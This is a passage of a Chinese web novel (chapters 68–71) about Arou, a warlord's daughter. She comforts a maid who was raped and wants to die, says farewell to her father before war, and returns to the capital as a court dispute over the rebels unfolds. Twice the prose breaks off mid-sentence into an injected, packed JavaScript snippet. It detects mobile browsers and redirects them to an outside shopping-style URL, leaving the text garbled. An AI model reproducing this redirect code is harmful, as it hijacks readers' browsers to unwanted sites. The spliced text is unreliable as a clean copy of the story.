阿柔处理好伤口,将衣服穿上,“过去行走江湖,难免有纠纷碰撞,近来边境又不太平,战争不断,受伤的也不止我一个。比起那些牺牲的将士,这点伤倒算不了什么了。” 莲儿惊讶地道:“可三娘子一介女子,竟也能上阵杀敌吗?” “有何不可?”阿柔微微一笑,拍了拍自己身边的位置,“过来。” 莲儿有些疑惑,但还是乖乖听话,坐到了阿柔的身边。 阿柔张开双手,给了她一个紧实而温暖的拥抱。 莲儿愣在了原地,久久没能回过神来。这一记怀抱将她打得措手不及、局促不安,却又温暖得让她想要流泪,不愿放手。 阿柔紧紧地抱住她,语气温柔,却带着一丝难以察觉的哽咽,“没事的,莲儿,这不是你的错,伤害你的人会付出代价。” 莲儿有些惶惶不安,“三娘子,你,你都知道了……” “是,芳姨和我说过这件事,方才骗了你,对不起。”阿柔松开了她,结束了这个拥抱。 “三娘子既然都知道,为何还要阻我?”莲儿落下泪来,“我已经失去了女儿家最重要的东西,这一生算是毁了。与其被人嘲弄一辈子,倒不如一死了之!” “莲儿,你不能这样想。”阿柔听她自暴自弃的话,心中很是难受,恳切地说道,“什么是女儿家最重要的?根本就没有那种东西!” “没有吗?真的没有吗?”莲儿摇了摇头,眼眶通红,含着恨意质问道,“若是没有,为什么那件事之后,周遭看我的眼神都不一样了?为什么曾经与我立下山盟海誓的情郎突然离我远去,视我如瘟神?为什么爹娘不再疼我爱我,说我是个失了贞洁的烂货,嫁不了好夫婿,不如死了?” “可这不是你的错,莲儿。”阿柔努力地想要唤醒她,“这是谢阳的错。” 莲儿自嘲一笑,抬头看向阿柔,淡然而悲伤地道:“可是三娘子,只有你这样觉得。” 阿柔张了张嘴,却说不出话来。 莲儿的面色苍白而苦涩,她不解的目光落在阿柔身上,似乎是在无声地告诉阿柔:你才是那个真正的异类。 阿柔突然感到一股深深的无力感,四肢百骸皆涌上浓浓的疲惫。 她该如何劝说一个将贞洁看得比命还重要的年轻姑娘,不要因受了屈辱而惩罚自己? 她不知道,她不知道…… 阿柔只知道,若是这种事发生在自己的身上,她定要让那人百倍偿还。最好是捆起来,将那玩意儿卸了,让他一辈子都祸害不了别的女子。 阿柔偶尔会忘记,和她一般想法的人,才是世间的少数。 69. 临别 空气有一瞬的凝滞。 莲儿其实说出那句话的时候就已经后悔了。她虽没有生志,却依旧敬爱王府,无论如何,也不想薄了三娘子这份真诚。 她开了开口,正欲再说些什么,阿柔却先一步道:“不只有我一个人。” 莲儿一愣,“什么……” “错的不是你,而是那帮无耻的反贼,只会恃强凌弱、凌虐女人的混蛋。”阿柔深吸一口气,“不会只有我一个人这样觉得。包括芳姨,我爹,我大哥,还有许多人,他们都会明白,这根本就不是你的错。” “王爷,世子爷……他们离我太遥远了,我听不到他们的声音。”莲儿苦涩地笑道,“我是为奴为仆的贱命,这一生,便注定活在嘲讽与轻视之中。” “那就来听听我的声音。”阿柔抓住她有些粗糙的双手,“若是天命要你轻贱,要你自立牌坊证明你的贞洁,又为何要在你将要落入枯井之时,安排我出现在那里呢?” 莲儿怔怔的,似有所动,却依然有些执拗地说道:“三娘子是说,你救下莲儿,也是命中注定?没想到三娘子还信这个……” “不是我信天命。”阿柔一字一句地道,“是你认了命。” “我认了命,那又如何呢?”莲儿苦笑着说,“三娘子,你是王爷的女儿,是身份尊贵的小姐,和我这等贱奴又有什么可比性呢?你出生起便不愁吃穿,我和你不一样,我家里穷,若不给有钱人家做丫头,便要饿死了。爹娘总让我洁身自好,往后嫁个好夫婿,便再也不愁了。可是,可是……” “不是这么个理。”阿柔不认同地道,“莲儿,你知道我多大吗?” 莲儿一愣,不知道她为什么突然说起这个,“三娘子问这个做什么?” 阿柔笑了笑,“我今岁二十,至今还未嫁人。” 莲儿睁大了双眼,难以置信地道:“为什么?怎么会没人……” 莲儿的话语戛然而止,低头不语了。 阿柔浑不在意地道:“怎么会没人要,是吗?” 莲儿神情讪讪。 “你不必赧然,和你一般想法的人有许多。”阿柔轻笑一声,“王爷的女儿又如何?非议、嘲讽、异样的目光,一样都不会少,只不过更多的人只敢背地里嚼舌根,然后带着身边的公子贵女对我而敬而远之。所幸,我也并不想交那样的朋友。” “他们……都是如何说的?”莲儿小心翼翼地问。 “唔,我想想。”阿柔一边回忆一边细数道,“其实来来回回,无非就是那几句。什么‘穷乡僻壤出身的粗野丫头’、‘嫁不出去的老闺女’、‘抛头露面、不知廉耻的小蹄子’、‘世家大族中的异类和耻辱’……” “不要说了,不要再说了。”莲儿有些听不下去了,连忙拉住了阿柔的衣袖,打抱不平地说道,“那些人怎么这样!” “你看,莲儿,你也认为不是我的错,对吗?”阿柔笑了笑。 “嗯,嗯……”莲儿低声应道,“可是三娘子,他们那般说你,你就不生气?” “我生什么气?气他们眼界太过狭窄,觉得自己的生活才是全天下最好的?”阿柔扬起笑颜,意气十足地说道,“天啊,他们根本不知道一个人逍遥自在的日子有多快活!” 莲儿心间一颤,似有所动,面上竟流淌出几分向往之色来。但仅仅一瞬,她的目光便黯淡了下去,“也许四处游历的日子是很快乐,但那终究不属于我。奢望自己得不到的东西,只会平添难过罢了。” 阿柔沉默片刻,说道:“莲儿,我过几日便要往京城去,做一些我必须要去做的事。这一趟走得很急,我没法带上你,但是,我会允你一个承诺。” 莲儿听她如此说,心中有一些期待,“什么承诺?” “在我离开的日子里,你要坚强地活下去,战胜放弃生命的念头。”阿柔郑重其事地许诺道,“等京城事了,我会回来接你,带你离开宛阳,遍览河山、寻觅归处。当然,若你有所牵挂,不愿离开,倒也无妨,只要有我在,至少这府中不敢有任何人用异样的眼光看你,用下流的言语侮辱你。” 莲儿心中感动不已,如死水一般的内心终于燃起了星星火焰,她淌下泪水来,“三娘子如此允诺,莲儿惶恐。” 阿柔拂去她的泪水,“这并不是施舍,我还有些事情要你帮忙。” 莲儿不住地点头,“三娘子但说无妨。” “我知道,府上还有其她姑娘和你有一样的遭遇。”阿柔说道,“我来不及一个一个宽慰开导,但我希望你能将大家团结起来,鼓起勇气,一同对抗所谓世道的流言蜚语,坚强地活下去,好吗?” “好,当然好……”莲儿哽咽着道,“三娘子,我信你。” 阿柔终于如释重负地笑了起来,“太好了。” 过了好一会儿,莲儿的情绪才稍稍稳定下来,她红着眼睛问道:“三娘子,我与你非亲非故,又给不了你什么报偿,你为何要帮我?” “原因很简单。一来,贼人原是冲着景西王来的,你们却因此而受了凌辱,这本就是王府该偿还的。二来……”阿柔看向她,神情温柔,“因为你我同为女子啊。” …… 那晚,阿柔没有再劝说莲儿什么,只是拉着她讲了一些过去游历途中的趣事。阿柔已经做好打算,但凡莲儿神情中有一丝不耐,她都会立刻止住话语,不再自说自话。而令她惊喜的是,莲儿听了她的讲述,眼睛都亮了,面色展露出几分期待与向往来。 阿柔不记得同她讲了多久。第二日醒来,莲儿已经离开了。阿柔困倦不已,但想起阿爹曾嘱咐今晨和司言一同去寻他,似有事情交代,便挣扎着爬了起来。 阿柔洗漱完毕,往北院去,在游廊遇到了司言。 司言见她一副昏昏欲睡的模样,奇怪地道:“这么困,昨夜做什么了?” 阿柔打了个哈欠,将昨夜发生的事情大致与他说了。 司言听罢,很是为她骄傲,“做得好,阿柔。” 阿柔精神不济,心情却很好,扬起笑脸道:“唉,虽然不被人理解的时候的确有些无力,但帮助别人,果然是一件令人开心的事啊!” 司言被她的情绪感染,也笑了起来,“嗯。” 戚雪柔有悲天悯人之心,却无救民济世之能。可那又如何? 阿柔从来不去想“能否改变这个世道”,或是“能否救下所有人”这样深刻的问题,她只需要尽己所能,救下能救之人,那便够了。 这就是阿柔所行之“道”。 从一开始,司言就是被阿柔身上这份独立与坚韧所吸引,喜欢着她恣意潇洒、畅快直爽的性情,喜欢着她神采奕奕、光辉耀人的模样。 能收获阿柔的情意,司言觉得自己非常幸运。 看着阿柔真挚的笑颜,司言在心中默默做出一个决定——既然参透了阿柔所行之“道”,那他便会无条件地成为阿柔的后盾,为她一颗热忱之心筑起高墙,护其心火永远不被浇熄。 不知不觉,二人便走到了戚叶临的书房。 彼时,戚叶临正坐在案头处理军务,听到门边有动静,放下手上的案卷,“你们来了。” 戚叶临的语调有些疲惫,想来是近日公务繁忙所致。 两个小辈恭恭敬敬地行了礼,静候嘱托。 “叫你们来不为别的。明日你们便要回京,我还是得嘱托两句。”戚叶临先看向阿柔,“回京之后切莫心急,不要擅作主张,先把边境发生的事原原本本地告诉你二哥。” 阿柔点头,“我知道。” “边境动乱未定,哈赤努尔还在虎视眈眈。眼下,西北边境除了你和故渊门外,没人能走京城这一遭,我也不可能将谢阳交由你们两个没有任何朝廷任职的人押送回京。” 戚叶临仔细嘱托:“所以,等你回京以后,圣上一定会召你觐见,让你阐述西北边境的境况。你早做心理准备,以免到时慌张。皇上问你什么,你便答什么,咱们景西王府行得端坐得正,没什么好隐瞒的。” 阿柔心中都有数,应了阿爹的嘱咐,又问道:“对了阿爹,谢阳怎么样了?” 戚叶临轻哼一声,说道:“前几日狱卒来报,说谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038253|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳一直在里头说胡话,看起来疯疯癫癫的,想来是痴傻了吧。” 其实戚叶临原本倒没真的打算动用私刑将他折磨致死。戚叶临虽心头有恨,却不能罔顾大昭律法。先前说的那些话,多半是为了唬一唬他,好从他嘴里撬出更多情报来。没成想,还未动什么真格,人就先吓傻了。 阿柔听闻,十分轻蔑地道:“好歹也是一军统帅,如此德行,也敢把主意打到西北铁骑的头上?” 戚叶临却摇了摇头,“如此德行,不也差点让他得手了吗?” 阿柔知道阿爹这是在让她吸取教训,吃一堑长一智,便敛了气焰,答道:“阿爹说得是。明枪易躲,暗箭难防,我会记住的。” 戚叶临欣慰地道:“你是个通透的孩子,一向不用我多说什么。我今日交代你的这些事,想来你心里也早就有数,不必多说。” 阿柔高兴得尾巴都要翘上天去了,“哎呀,爹,别夸了,该害羞了。” 戚叶临忍俊不禁,“看你这德行。” 阿柔冲他做了个搞怪的表情。 “好了,我没什么可嘱咐你这丫头的了。”戚叶临的目光转而落在司言身上,“柔儿先出去,我跟这位司门主单独说些话。” 司言和阿柔俱是一怔。 阿柔率先问道:“怎么了爹,有什么话一定要单独说,我不能听吗?” 戚叶临失笑道:“你这丫头,我还没说什么呢,你就护上了?” “哪有。” 司言温声劝道:“阿柔,你先出去吧。” “哦。”阿柔应了,一步三回头地往外走。 “嘭”的一声,阿柔将门关上了。 戚叶临并未着急开口,书房内一时陷入寂静。司言觉得有些奇怪,正准备开口询问,便见戚叶临将食指放在唇边,示意他先别出声。 司言有些不明所以。 下一秒,门外传来少女哀怨的声音,“爹,我真不能听吗!我可是你亲亲亲——亲女儿啊!” 戚叶临似乎早就料到她会来这么一出,也不气恼,只是露出宠溺的笑容来,对司言道:“你看她那样子。” 司言觉得阿柔在家人面前耍小性子的模样很是可爱,也不自觉笑出声。 门外的阿柔也没想着非听他们讲话不可,喊了这么一句,便也没再坚持,自个儿往别的院落去了——昨日虽劝住了莲儿,让她放下轻生的念头,阿柔却不能完全放心,便趁着这个空档寻人去了。 而书房内,戚叶临听外面安静了下来,终于开口道:“司门主与小女是如何相识的?” 司言一愣,虽不知他发问的用意,到底老实回答:“前年岐州知州张博尧被人诬陷致死,张家人被追杀,阿柔向故渊门写了一封求救信,我便带门中弟子前去支援。” 当年这桩案子影响甚广,作为一根引线,彻底扳倒了统领烟云四州军务的宣睿侯祁照。戚叶临虽远在西北边境,却也并非不闻朝事,况且此事还将他的幼女牵涉其中,他不可能不关注。 戚叶临知道司言这个人,也知道他在为承王效力,自然也知道他与阿柔二人的相遇并不像他所说的那般简单纯粹,其中必然掺杂着许多算计。 不过戚叶临也没拆穿,客气地道:“我们戚家是武将世家,不会养大家闺秀。柔儿那丫头野惯了,行事作风难免莽撞,司门主还勿见怪。” 司言连忙说道:“王爷如此说,倒让小辈惶恐。阿柔性情直率仗义,我欣赏都来不及,又怎么会嫌怪?” 戚叶临笑了笑,温声道:“这次边境一难,多亏司门主和故渊门相助,才能顺利化险为夷。倘若日后有何需要的地方,景西王府愿意倾力相助。” 这话和之前戚思辰的允诺如出一辙。这次,司言欣然应允,“如此,小辈就提前谢过王爷了。” 绕了这么大一圈,戚叶临终于说出了叫他留下的真正用意,“其实,特意避开柔儿,是因为我有一件事想要拜托司门主。” “王爷但说无妨。” “待柔儿将西北的境况禀明圣上之后,我希望你能带她离开京城。” 70. 祭告 司言微微一愣,“王爷这是何意?” 戚叶临叹了口气,面上有几分忧色,“当年,我将阿柔送去云影山拜师学艺,本就是不想让那孩子卷入朝局纷争之中。后来她大了,有了自己的想法,我也不愿过多管束。只是如今,大昭境内发生如此动荡,长祈城更处于水深火热之中。我想让她远离纷争,平安无虞,仅此而已。” 司言没有立刻答应,思索片刻,说道:“王爷是忧心,朝廷军挡不住北境叛军,长祈城恐怕会有危险?” “林予哲想要夺取长祈,也不是那么容易的事。”戚叶临眼眸低垂,“但倘若真有城破之日……” 戚叶临没有再说下去。 司言沉默片刻,说道:“王爷,如果我带阿柔离开京城,二公子怎么办?” 戚叶临面露挣扎之色,“都是我的孩子,我当然也想保他无恙。可彦儿不一样,他是朝廷命官,有责任在肩,岂能说离开就离开?” “二公子有责任在身,不能轻易离开。那阿柔呢?”司言反问,“阿柔就能够心安理得地放下家人,放下动荡的时局,毫无芥蒂地跟我离开吗?” 戚叶临苦笑道:“我了解那丫头的脾性,所以才与你单独商量。” “王爷是为了阿柔好,小辈都明白。”司言放缓了语调,“只是,我不能答应王爷。” “你喜欢她,见她徘徊于危险之地,难道就不会担惊受怕吗?” “我喜欢她,所以更不能亲手折断她的羽翼,将她关在笼中。”司言神色认真,语调坚定。 戚叶临定定看了他良久,看得司言都有些心慌。戚叶临笑了一下,“京中许多青年才俊,柔儿都看不上眼。方才听你所说,我大抵明白那丫头为何认定你了。” 司言作揖行礼,“承蒙阿柔的喜欢,这是小辈的福分。” “好了,既然你如此想,我也不多劝什么了。”戚叶临语重心长地道,“这世上的婚姻,大多是父母之命,媒妁之言,像你们这般两情相悦的,已是少见。往后的日子,定要相护扶帮,好生珍惜。” 司言感到心间一阵温暖,真心实意地答道:“小辈谨记王爷嘱托。” …… 离开宛阳城前,还有最后一件事要做。 此番西北战乱,牺牲将士四万余人,折损故渊门弟子二十九位,以极为惨痛地代价平息了这场荒唐的内斗。 更令人唏嘘的是,只有很少一部分忠勇义士的尸骨得以还乡,其余人则裸露在飞沙走石的荒漠,不得安葬。 也许史书不会记得他们每一个人的名字,但宛阳城记得,辽远大漠的骄阳与尘沙记得,西北边境的每一寸土地都记得。 而如今,这场战争的幸存之人,要同过去朝夕相处、合力杀敌的战友道别。 西北铁骑整军完毕。 戚叶临站在队伍的最前方,身着甲胄,头戴白巾,旁边则是戚思辰、楚思越等人。 戚思辰身体还未完全恢复,却坚持来此。他脸色苍白,身上没什么力气,但依旧挺直了腰背,不让任何人搀扶。 阿柔、司言,以及余下的故渊门人,也皆在队伍之列。 这是一场仓促而简陋的祭告。几万西北铁骑,跟随在景西王与景西世子的身后,举着白幔与灵幡,沉痛无声地前行。 这场仪式并未提前通知城中百姓。但在出殡的队伍路过寻常百姓的门前时,却有不计其数之人走出家门,面对着飘扬的灵幡,跪倒在地,叩首三次,继而目送英魂离去。 整个宛阳城都在参与这场漫长无声的告别。 西北铁骑的队伍行过宛阳城一圈,继而出了城外。没过多久,便见郊野之外立着一块小小的崭新的石碑。 石碑并不惹眼,甚至可以说得上是简陋——这也是无奈所致,以西北铁骑如今的情况,实在是分不出来多余的精力与财力去做一块宏伟而巨大的石碑了。 万千军士,跟随着他们敬仰的景西王,一同在碑前跪下。 一叩首。 “敬,英雄已逝,誓守疆土不曾负。” 二叩首。 “谢,江湖义士,心系苍生慷慨赴。” 三叩首。 “愿,家国天下,山河永固,事事顺遂,万世无恙。” 戚叶临在心中默默做出决定,待到一切事了,彻底平息了哈赤努尔与赫月六部的进犯,他一定会重新立一块高大雄伟的石碑,刻上战死之人的名姓,令其精神永存于世。 也许百年之后,他也将葬在此处,与万千将士一起,安然长眠。 此处便叫——英魂冢。 …… 做完这一切,阿柔与司言便踏上了回京的路。 城门口,有许多人都来相送。阿爹、大哥、楚副将……还有鸦青、寒曜等故渊门人也都在场。 该嘱托的,戚叶临已经说过了。到了临别时刻,他也唯余一句话:“柔儿,在爹心里,没有什么是比你平平安安活着更重要的。” 阿柔顿觉鼻头有些酸涩,她忍着流泪的冲动,扬起笑脸道:“爹,我也是。在我心里,没有什么是比咱们一家人咱一块儿更好的了。” 一贯在战场上杀伐果断的景西王,此时此刻,慈爱地轻抚着幼女的发顶,温声说道:“好,等到这场战事平息了,咱们一家人,可要好好地聚一聚。” 上一次一家人完完整整地团聚在一处,是什么时候呢? 似乎是五六年前的新年。 算起来,当真是悠远而又漫长。 阿柔张开双臂,抱住了戚叶临,闷在他的怀里道:“阿爹可要说话算数。” “好,一定说话算数。”戚叶临笑着回抱住自家幼女,又向不远处的大儿子招了招手。 戚思辰觉得有些别扭,但还是走了过来,加入了这个拥抱。 良久过后,戚叶临松开怀抱,“该启程了。” “嗯。”阿柔点头。 就在此时,一个兵士慌忙来报,“王爷,世子爷,城外十里发现了哈赤努尔的军队,正在往宛阳城的方向来!” 原先宛阳城之外,通往赫月六部的路上,设有三道防线。只有攻破三道防线,才能勉强摸到宛阳城的边缘,这也是西北边防如此稳固的原因之一。 结果,一朝内乱,西北边军兵力大大削弱,三道防线尽数摧毁。 阻挡蛮夷部族的最后一道壁垒,是宛阳城的西北城墙。 戚叶临似乎并没有多意外,沉着冷静地下令道:“传令下去,守城,迎战。” “是!” “阿爹……”阿柔担忧地看着戚叶临。 “不怕,柔儿。”戚叶临声音沉稳,总能让人感到安心,“区区赫月蛮族,还踏不过我西北铁骑的脊梁。” “我不怕,阿爹。”她只是放心不下。 “走吧,柔儿。”戚叶临眼中满是眷恋。 阿柔知道,她不能在这里耽搁下去了。 边境将要开战,阿爹和大哥要前往应敌,没工夫一直耗在这里。 她翻身上马,深深地看了眼这座留存着太多血泪记忆的城池,与血肉至亲挥手作别。 “走了!” 阿柔坐在马背之上,扬声说道。 说罢,阿柔一扯缰绳,与司言并肩而行,飞驰而去。马蹄踏过,扬起飞尘,不一会儿,那对年轻男女的身影便消失在了茫茫郊原之中。 阿柔其实很不喜欢这种感觉。 大战在即,她却离开了这座城池,倒像是临阵脱逃一般。只是如今的境况,容不得她凭着心意做事。 他们此行的目的地,长祈城,将会成为新的战场。 …… 长祈城,庙堂之上。 李钰神情恹恹地靠坐在龙椅上,一手撑着面颊。 近日来接二连三发生的事情,每一件都沉重地打击着他。先是熙贵妃遭朝臣弹劾,李钰听信李晁烨的提议,设计令贵妃假死出宫。未曾想,出城没多久,人便被劫走了。 李钰怒极,将怀王狠狠地骂了一顿,斥责他办事不力。但碍于此事并不是一件能搬上台面的大事,李钰不能光明正大、大张旗鼓地追查熙贵妃的下落,只能吃这个哑巴亏。 而后又是林予哲谋反。 他原先是如此信任林予哲。 林予哲为人敦厚,从不结党营私,甚至主动将妻子与一双儿女交由他作人质,而后再未有子嗣。 却原来,这些都是做戏给他看的! 阶下,梁朝越手握笏板,禀道:“陛下,前些日子,叛军行至青函关,想要强破关口,直取长祈,被我军击破,现已退回河北地区。” “哦?这倒是个好消息。”李钰的心情好转了些许,眯着眼睛想了想,“抗林军的将领是谁来着,朕忘了名字了。” “回陛下,是江照人。”梁朝越回道。 “哼,朕就说了,大昭国运昌盛,岂是区区一个羌夷蛮奴能掀翻的,真是不自量力。”李钰轻笑一声,“江照人带兵击退叛军,劳苦功高,便封他个云麾将军吧。” 众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050629|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣皆道:“陛下英明。” 梁朝越趁此机会说道:“陛下,青函关之胜,既挫了叛军锐气,又长了我军士气,正是反击叛军的好时机。江照人正在青函关待命,只要陛下一声令下,抗林军立刻乘胜追击。” 李钰还在思考,忽而听得一个声音道:“陛下,此时并非反击之时。” 如今的朝堂之上,敢直接和梁朝越叫板的人不多。 戚思彦算一个。 其他人要么因为不通军事,不敢贸然进谏,要么因为不想引火上身,选择隔岸观火。 李钰因着熙贵妃的事,最近一直对戚思彦没什么好脸色,冷哼一声道:“你这样说,有何依据?” 戚思彦并不在意李钰冷漠的态度,他不卑不亢地说道:“青函关易守难攻,对我军而言,是得天独厚的优势。我们只需固守青函关,林予哲便无可奈何。待到叛军物资耗尽,才是最佳反击时刻。放弃青函关的优势,贸然进攻,于我军而言,并无好处。” 李钰虽然心里别扭,却也不得不承认他所说的话有几分道理,一时陷入思考之中。 可梁朝越的目的本就是提拔江照人,在军中安插自己的党羽,哪里能够轻易放手? 梁朝越不屑地说道:“戚少卿的意思是,我军之胜,只是因为撞了地形优势的大运?” 戚思彦觉得头大,却还是努力解释道:“下官并未否认军中将士之功。只是行军打仗,本就讲究天时地利人和。若只有勇武而无谋略,是万万不能的。” “哦,如此说来,戚少卿对于行军打仗一事,相当了解啊。不愧是景西王之子。”梁朝越故意说道,“看来,戚少卿虽离开西北边境多年,竟未曾荒废研习兵法啊。” 李钰脸色瞬间就变了。 戚思彦的心也沉入了谷底。 梁朝越不愧是为相几十年的老狐狸,他太明白如何戳皇帝的心窝子了。 皇上当年召戚思彦入京为官,表面是施恩于景西王府,实则是将戚思彦作为一枚用以牵制景西王的筹码。 这是朝廷人尽皆知的事实。 李钰以为自己的制衡之术万无一失,却在林予哲那里翻了车。林予哲不惜出卖自己的血肉至亲,也要图谋这至尊之位。 那景西王呢? 景西王会不会选择出卖这个体弱多病,又与公主成婚,已再榨不出半分价值的二儿子,转而与皇家为敌呢? 再说这戚思彦,早先便已经脉全毁、武功尽废,缘何又惦记着行军打仗之事? 戚思彦眼睁睁地看着李钰的目光中多了几分怀疑与猜忌,心头升上一股浓浓的无力感。 即便如此,他依旧扬声辩驳:“梁相既认为陛下不该采用下官之意见,便说明在梁相看来,下官的谋略应当是远不及梁相的。下官是武将世家出身,自小看着兵书长大,若能讲出个门道,倒也不奇怪。可梁相如此雄才大略,莫非平日在府中,也喜欢看兵书解闷不成?” “你!你这不知礼的小辈,真是好一张伶牙俐齿的嘴!”梁朝越神情淬上几分阴狠。 若放在从前,戚思彦纵然清高,也绝不愿意轻易忤逆梁朝越。 只是如今大敌当前,若是放任梁朝越掌控朝局,一定会出事。 “够了,吵吵嚷嚷的,成何体统。”李钰不耐地说道,“戚思彦,你是景西王府的人,平日里也该多注意言行举止,稳重些才是。” “……是。” 梁朝越暗自窃喜,继而说道:“陛下明鉴。臣方才所说,也只是一些粗劣的见解,不成体统。究竟是追是守,当交由陛下圣断。” 戚思彦还待再说些什么,“陛下……” “江照人是什么意思?”李钰直接出声打断了他的话。 “陛下,云麾将军已做好了万全的准备,随时可以取下贼首林予哲的首级。”梁朝越窃喜道。 李钰托着下巴思考着,神色显然已是动摇了。 “陛下,贪功冒进,绝非良策!”戚思彦言辞恳切。 “原来前线兵士忠君报国、拼死杀敌,在戚少卿眼里,竟是贪功冒进。”梁朝越讽刺道,“还是说,景西王战功赫赫,便不许别人施展将才,为君分忧吗?” “如今只说应对叛军之法,又与景西王何干?梁相莫要转移话题!”戚思彦凌厉地道。 “好了。”龙椅上的人再一次制止二人的争论,慵懒而傲慢地一锤定音,“告诉江照人,十日之内,必将林贼首级送回朝堂。” 梁朝越笑容得意,“是。” 71. 不值 再次回到京城长祈,已是十日之后。 阿柔在城门口与司言分别,继而马不停蹄地赶回景西王府。 她要将西北边境发生的一切尽数告诉二哥,再将谢阳抖出来的情报上告天听。 王府中来往的侍女小厮,见了阿柔,纷纷让道,颔首行礼。 阿柔穿过游廊,拐入深院,来到二哥的住处。 刚进了院子,她便被眼前之景迷住了—— 午后,日光洒落,淌过树上枝叶间的空隙,落在地上,影影绰绰。 以前,阿柔每每在午后时刻来寻二哥,总能见到树荫之下摆着一张躺椅。二哥就懒洋洋地卧在椅上阖眼浅寐,大抵是喜欢极了这般温暖的日光。 然而今日,却与以往不同。 阿柔只见庭院之中有一人,身穿白衣,舞动长剑,翩然若仙。他将头发高高束起,平添几分少年气来。 那熟悉的眉眼依旧温柔,依旧带着因病弱而生出的脆弱之感,可目光却清明而坚定,仿佛这世上所有的苦难,都不能将其击溃。 持剑的白衣之人,竟是许久未见的二哥戚思彦! “二,二哥……”阿柔看得呆住了。 她有许多年没见过二哥舞剑了。 当年西北大乱,她和二哥一同被送上云影山拜师学艺。可话虽如此,谁都知道,景西王次子戚思彦早已成了个根骨尽废的病秧子,再不能武。 大家面上不说,但习武练武的时候,都自觉避开了戚思彦。 有几次夜里,阿柔睡不着,想要去寻二哥说话,却看到他独自一人提着剑,在月色之中偷偷练习门派弟子白日里学的剑法。 尽管如此,他也只能将这些招式照猫画虎地复现出来,却全然感受不到一丝内力。练到最后,也只是无意义地挥动剑柄罢了。 十六岁的戚思彦,在一次又一次徒劳的试验之后,终于接受了自己再不能武的事实。 而如今,二十七岁的戚思彦,于庭前挥舞长剑,衣袖翻飞舞动,脚下步步生风,像是个谪仙人。 他身形颀长,步伐轻盈,一举一动都透露着优雅与从容。 清俊的面目染上几分温柔的笑意,日光洒落而上,将他清瘦苍白的面庞也衬得鲜活了许多。 阿柔能看出来,二哥的脚下仍有些悬浮,依旧凝不出半分内力来。即便如此,阿柔依旧觉得感动不已。 她的眼眶有些泛红。 若说这世上,谁最让阿柔心疼,那一定是她的二哥。 戚思彦志不在庙堂,心中所愿,唯有回到西北,与亲人团聚。 阿柔多么希望,二哥能够一直像这样,率性自由地执剑而舞,面上永远是发自内心的笑容。 与此同时,屋舍檐下,乐瑶也看着这一幕,见他从容潇洒的模样,双颊染上了绯红。 那一刻,乐瑶觉得,自己的夫君,远比全天下任何一个男子都要惊艳动人。 一剑舞毕,乐瑶迫不及待地冲上前去,踮起脚尖,张开双臂抱住了他,毫不吝啬地夸赞道:“彦哥哥,你真好看。” 戚思彦揉了揉乐瑶细软的头发,笑道:“模样好看,还是剑法好看?” 乐瑶埋在戚思彦的怀里蹭了蹭,“模样也好看,舞剑的身姿也好看。反正,彦哥哥就是天底下最好看的人。” “这样高的评价?”戚思彦忍俊不禁。 “嗯,怎么看都看不够。”乐瑶抱着他不撒手。 “你若喜欢,往后多给你看。”戚思彦温柔地说道。 “嗯!” 今日舞剑,本是源自乐瑶一句开玩笑的提议,她也没想到戚思彦竟真的来了兴致,应了她的提议。更没想到,戚思彦舞剑的身姿,竟是如此飘然若仙、干净清爽。 他的夫君,才不是什么慵懒病弱的公子哥,分明是文武双全的栋梁之才。 站在远处院门口的阿柔相当自觉地站在原地,待二人腻歪够了,才遥遥地喊道:“二哥,乐瑶!” 那边二人转头看她,面上皆露出惊喜之色来。 阿柔小跑着来到二人的面前,戚思彦关切地打量着她,说道:“怎么瘦了这么多,西北是出了什么事?” “二哥莫要着急,此事说来话长。”阿柔提议,“外面日头太晒,我们进去说?” “好。”戚思彦点头,三人便一同往屋内去了。 …… 明珠为三人添上了茶饮,又给戚思彦递去一块巾帕。 刚刚舞过剑,戚思彦身上出了好些汗,接过巾帕擦了擦额头和脖颈,身上粘腻的感觉稍稍淡了一些。 他将巾帕递还给明珠,又在铜盆里净了手,说道:“边境情况如何了?” 阿柔长途跋涉而来,不免觉得口渴,一口气将杯中不认得什么品种的茶喝完了。酝酿酝酿语言,从她在宛阳城遇到节度使兵的经历开始讲起。 戚思彦听着她的讲述,神情一点一点凝重起来。 听到“谢阳带兵攻打西北大营,勾结哈赤努尔,阿爹大哥重伤”的时候,面上血色更是褪得干干净净。 阿柔一边说着,一边小心翼翼地观察着二哥的脸色,见状慌张道:“二哥!” 乐瑶先一步握住他的手,安抚着说道:“彦哥哥,别急,听听阿柔怎么说。” 戚思彦感受着手上传来的温度,强行压下那股心慌的感受,“我没事。” 阿柔便加快了语速,将西北铁骑进军宛阳,活捉谢阳的结果讲完了,只是讲述过程中隐去了自己入王府刺杀谢阳这样细枝末节的部分。 戚思彦脸色稍稍缓和了一点,但依然不太好看,沉声道:“西北边境几万将士的命,竟只是他林予哲和谢阳玩弄权柄的筹码!” 乐瑶的表情也相当气愤。她心性善良,又嫉恶如仇,每每听闻这种阴暗不公之事,总是同仇敌忾。 她抓着戚思彦的手,愤慨地道:“这群人也太不是东西了!” 阿柔已经过了最生气的时候了,说完这么长一段话,觉得有些口渴,又给自己倒了一杯茶,解渴后便道:“二哥,你可曾听闻谢阳口中的‘小军师’是什么人吗?” 戚思彦皱了皱眉头,在脑海里搜寻起自己曾看过的大理寺案卷,却没能想出什么来,摇摇头道:“我并未听说过此人。” 